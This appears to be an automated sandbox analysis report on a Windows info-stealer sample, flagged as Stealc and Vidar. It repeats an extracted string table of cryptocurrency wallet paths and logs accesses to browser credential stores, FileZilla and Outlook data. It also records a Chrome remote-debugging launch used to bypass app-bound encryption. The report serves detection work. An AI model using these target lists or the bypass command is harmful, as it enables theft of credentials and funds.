Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1985884053.0000000000D6C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1458503621.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1985884053.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
